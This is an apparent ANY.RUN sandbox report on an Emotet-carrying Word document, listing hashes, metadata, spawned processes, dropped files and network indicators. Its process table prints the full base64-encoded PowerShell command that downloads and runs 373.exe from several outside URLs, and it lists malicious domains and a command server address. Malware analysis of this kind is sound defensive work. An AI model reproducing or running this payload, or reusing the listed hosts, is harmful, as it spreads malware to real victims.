analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Skanuj_2645820618_18_09_2019.doc

Full analysis: https://app.any.run/tasks/953ab1d3-8b1f-4522-91cc-97d449a6207a
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: September 19, 2019, 12:27:58
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Brand Handcrafted Wooden Fish Administrator, Subject: Metal, Author: Sabryna Reynolds, Comments: redundant CFA Franc BEAC Administrator, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Sep 18 07:22:00 2019, Last Saved Time/Date: Wed Sep 18 07:22:00 2019, Number of Pages: 1, Number of Words: 95, Number of Characters: 547, Security: 0
MD5:

EDCD63E9035CEFA2D31725EF9CD7D2C3

SHA1:

38D095E2E85FFA221E260C6DD73921B6D4EE2064

SHA256:

360F281360D3B69A414E4A9C367ED67A8401BFB1C6D1203D5D558400130B52E5

SSDEEP:

6144:mMqZiq86MofT1K82zw1qW2WPLkIp7NSU4jJntATfDkAvLipwwPCQ3cqx:mMqZiq86MofT1K82zw1qW2EXp7NSU4Vl

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 373.exe (PID: 3252)
      • 373.exe (PID: 3904)
      • 373.exe (PID: 3336)
      • easywindow.exe (PID: 3220)
      • 373.exe (PID: 2064)
      • easywindow.exe (PID: 2372)
      • easywindow.exe (PID: 3400)
      • easywindow.exe (PID: 2320)

    • Emotet process was detected

      • 373.exe (PID: 2064)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2392)
      • 373.exe (PID: 2064)

    • Creates files in the user directory

      • powershell.exe (PID: 2392)

    • Executed via WMI

      • powershell.exe (PID: 2392)

    • PowerShell script executed

      • powershell.exe (PID: 2392)

    • Application launched itself

      • 373.exe (PID: 3904)
      • easywindow.exe (PID: 2372)

    • Starts itself from another location

      • 373.exe (PID: 2064)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2732)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2732)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
Manager: Reilly
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 641
Paragraphs: 1
Lines: 4
Company: Swaniawski and Sons
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 547
Words: 95
Pages: 1
ModifyDate: 2019:09:18 06:22:00
CreateDate: 2019:09:18 06:22:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: -
Template: Normal.dotm
Comments: redundant CFA Franc BEAC Administrator
Keywords: -
Author: Sabryna Reynolds
Subject: Metal
Title: Brand Handcrafted Wooden Fish Administrator
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
10
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 373.exe no specs 373.exe no specs 373.exe no specs #EMOTET 373.exe easywindow.exe no specs easywindow.exe no specs easywindow.exe no specs easywindow.exe

Process information

PID
CMD
Path
Indicators
Parent process
2732"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Skanuj_2645820618_18_09_2019.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2392powershell -encod JAB6AHoATAA5AHMAYwA3AFUAPQAnAG0AVwBiAEoATwA0ACcAOwAkAEMAbgAwAFAAcgB0ACAAPQAgACcAMwA3ADMAJwA7ACQAcwBLAHEAdwA0AHUAPQAnAEIAcwBJAGIAagBqAFMAdQAnADsAJABJAEMAMABmAFEAdgBGADUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEMAbgAwAFAAcgB0ACsAJwAuAGUAeABlACcAOwAkAEsAVgBoAGsAOABaAEIASgA9ACcAdQBaAEcANAA1AG8AMwAnADsAJAB3AG8AaQAzAFMAdQA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAHQALgBXAGUAQgBjAGwAaQBFAG4AdAA7ACQAQwBXAGIAYQAzAHcARABzAD0AJwBoAHQAdABwADoALwAvAGQAaQByAHAAcgBvAHAAZQByAHQAaQBlAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBmAGQAMQA0ADkAOQA5AC8AQABoAHQAdABwADoALwAvAHIAdQBuAC0AZwBlAHIAbQBhAG4AeQAuAGMAbwBtAC8AcwBjAHIAaQBwAHQAcwAvAGoAYwA4ADIAOAAyADAAOAAvAEAAaAB0AHQAcAA6AC8ALwBzAGEAeAB0AG8AcgBwAGgALgBuAGUAdAAvAEQATwBDAC8ANQBuAGQAcQBvAHYAMAAxADgALwBAAGgAdAB0AHAAcwA6AC8ALwBzAHUAawBoAHUAbQB2AGkAdABoAG8AbQBlAHMALgBjAG8AbQAvAHMAYQB0AGgAbwByAG4AYwBvAG4AZABvAHMALgBjAG8AbQAvAHUAYwB3AG4AYQA3ADkANAAvAEAAaAB0AHQAcAA6AC8ALwB2AGEAbgBzAGMAaABlAGUAcgBzAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AZwBvAHIAcAA3AHYANAA1ADUAMwA3ADAALwAnAC4AIgBTAGAAcABsAEkAVAAiACgAJwBAACcAKQA7ACQAQwBUAE4ARAB0ADUAPQAnAGoATgB3AEoAYQAwACcAOwBmAG8AcgBlAGEAYwBoACgAJABqAFgASQBPAFIASAB0ACAAaQBuACAAJABDAFcAYgBhADMAdwBEAHMAKQB7AHQAcgB5AHsAJAB3AG8AaQAzAFMAdQAuACIAZABPAHcAYABOAGAATABvAGAAQQBkAGYASQBsAEUAIgAoACQAagBYAEkATwBSAEgAdAAsACAAJABJAEMAMABmAFEAdgBGADUAKQA7ACQAWABoAFIATwBRAHYAPQAnAEEAMQBuAGwAUABpADMAcgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEkAQwAwAGYAUQB2AEYANQApAC4AIgBsAGUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMgA1ADgAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABBAHIAVAAiACgAJABJAEMAMABmAFEAdgBGADUAKQA7ACQAUwBfAFIAegByAFQAPQAnAHcASwBpAGkAYQA1AHQAJwA7AGIAcgBlAGEAawA7ACQAaQBhAEQAUwBrAGIAPQAnAE4AQgAwAEUAVwBHAGoAQQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAEwAdABrADcARgBXAHcAPQAnAFIATQBzAGgARwB2AEcAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3904"C:\Users\admin\373.exe" C:\Users\admin\373.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3252"C:\Users\admin\373.exe" C:\Users\admin\373.exe—373.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3336--92e680edC:\Users\admin\373.exe—373.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2064--92e680edC:\Users\admin\373.exe
373.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3400"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"C:\Users\admin\AppData\Local\easywindow\easywindow.exe—373.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2320"C:\Users\admin\AppData\Local\easywindow\easywindow.exe"C:\Users\admin\AppData\Local\easywindow\easywindow.exe—easywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2372--fd47f3b8C:\Users\admin\AppData\Local\easywindow\easywindow.exe—easywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3220--fd47f3b8C:\Users\admin\AppData\Local\easywindow\easywindow.exe
easywindow.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Display Control Panel
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
1 776
Read events
1 285
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
10
Text files
0
Unknown types
43

Dropped files

PID
Process
Filename
Type
2732WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR8B0E.tmp.cvr —
MD5:—
SHA256:—
2732WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\840E093A.wmfwmf
MD5:17B63F5034B5A2DEF86649879CBE1914
SHA256:EF4965D6F8B6FFE9FE9806AECE55D58E5C03A9DF95315FB6B2CADAEDFDC55439
2732WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A40A720E.wmfwmf
MD5:BD3F09F8B5361A9CDBA8D4CF06FF5420
SHA256:D8685C46E45B8CC67CF299188CFB9BFA40A4BD61C3ECCD092F83AC8C4CDCB00F
2732WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ACA38C24.wmfwmf
MD5:8FBE6C0C19E80122B67E0276A49272DD
SHA256:AE38116C17ABC9F3476D4BA53486DA06350E42F270F89CD5E7C39B7FBE7BFD2E
2732WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\410BB94C.wmfwmf
MD5:80AEC2853D65369318AB0F2466961819
SHA256:7B2A121E6E8D70BC8DC7D88B6C3931E5B1F2CBD79A615490FB756EB5898BF73C
2732WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\883FBBAB.wmfwmf
MD5:211231D9ACCB3E54BBCE1B307C5BE86C
SHA256:ED0499E6F8441DE9B2CA5AA8742681A606C175BC679360ED73B7C9681BE5D288
2732WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:B7DEA70F335E5DDC93FE702864A27887
SHA256:5E4B0BB068B9758D42C59BDBB3E585A771C8BE51EE88F713369718C081896434
2732WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A1575EB7.wmfwmf
MD5:51EA3C4ACA7F04B3DB6CF71A1E84388F
SHA256:8FE120AC905129B55F0F00CE4E0EEE5A874B8F160AAF3089207C08E9E2C26D3F
2732WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\849E3C01.wmfwmf
MD5:D84A9E5F78169F6CF0708A082E9A19CB
SHA256:0ED9A8399FE85F276E5562C10EE921C0D1FFB8FD3A10985CDD798BC892C53F03
2732WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6AA6DEEF.wmfwmf
MD5:1B6E196535F371F21CE9011806CF9C56
SHA256:EB7221C54B76290DBB8E962CB3C10A4F69CB2093C5FF8D1EE92687C8646523F0
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
5
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2392
powershell.exe
GET
406
93.191.156.116:80
http://saxtorph.net/DOC/5ndqov018/
DK
html
221 b
suspicious
3220
easywindow.exe
POST
—
114.79.134.129:443
http://114.79.134.129:443/xian/ringin/ringin/merge/
IN
—
—
malicious
2392
powershell.exe
GET
404
81.169.145.69:80
http://run-germany.com/scripts/jc828208/
DE
html
196 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2392
powershell.exe
81.169.145.69:80
run-germany.com
Strato AG
DE
malicious
2392
powershell.exe
173.254.28.118:80
dirproperties.com
Unified Layer
US
suspicious
3220
easywindow.exe
114.79.134.129:443
—
D-Vois Broadband Pvt Ltd
IN
malicious
2392
powershell.exe
45.120.148.57:443
sukhumvithomes.com
A2 Hosting, Inc.
SG
suspicious
2392
powershell.exe
93.191.156.116:80
saxtorph.net
Zitcom A/S
DK
suspicious

DNS requests

Domain
IP
Reputation
dirproperties.com
  • 173.254.28.118
suspicious
run-germany.com
  • 81.169.145.69
malicious
saxtorph.net
  • 93.191.156.116
suspicious
sukhumvithomes.com
  • 45.120.148.57
suspicious

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Skanuj_2645820618_18_09_2019.doc